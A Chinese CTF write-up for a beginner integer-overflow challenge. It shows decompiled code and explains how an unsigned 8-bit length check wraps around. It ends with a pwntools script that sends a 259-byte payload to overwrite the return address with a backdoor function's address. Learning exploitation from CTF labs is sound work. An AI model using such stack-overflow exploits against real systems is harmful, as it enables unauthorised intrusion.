『攻防世界』:新手区 | int_overflow
checksec:如题,需要用栈溢出控制程序执行流获得flag
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA: 程序中有一个后门函数(what_is_this),我们需要做的是找到溢出点把地址填进去就可以。
主函数没有发现可以溢出的地方,输入1进入login函数
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("---------------------"); puts("~~ Welcome to CTF! ~~"); puts(" 1.Login "); puts(" 2.Exit "); puts("---------------------"); printf("Your choice:"); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { login(); } else { if ( v4 == 2 ) { puts("Bye~"); exit(0); } puts("Invalid Choice!"); } return 0; }
2 login函数也没有发现溢出,但是将密码传进了一个check函数当中。
char *login() { char passw; // [esp+0h] [ebp-228h] char name; // [esp+200h] [ebp-28h] memset(&name, 0, 0x20u); memset(&passw, 0, 0x200u); puts("Please input your username:"); read(0, &name, 0x19u); printf("Hello %s\n", &name); puts("Please input your passwd:"); read(0, &passw, 0x199u); return check_passwd(&passw); }
3 这个函数,password必须是3到8位,v3范围是0~255,超出会造成整数溢出。dest距ebp是14h,再加上ebp的大小,所以需要24个padding填充;
s长度大于255,s溢出后返回地址覆盖为what_is_this函数的地址,即可得到flag;//这里关于数据在空间的状态一直有点迷糊,所以看了大佬的wp
char *__cdecl check_passwd(char *s) { char *result; // eax char dest; // [esp+4h] [ebp-14h] unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts("Invalid Password"); result = (char *)fflush(stdout); } else { puts("Success"); fflush(stdout); result = strcpy(&dest, s); } return result; }
exp:
from pwn import * io = remote('ip',port) io.sendlineafter('choice:','1') io.sendlineafter('username:','beef') payload = b'a'*24 + p32(0x804868b) payload = payload.ljust(259,"A") io.sendlineafter('passwd:',payload) io.interactive()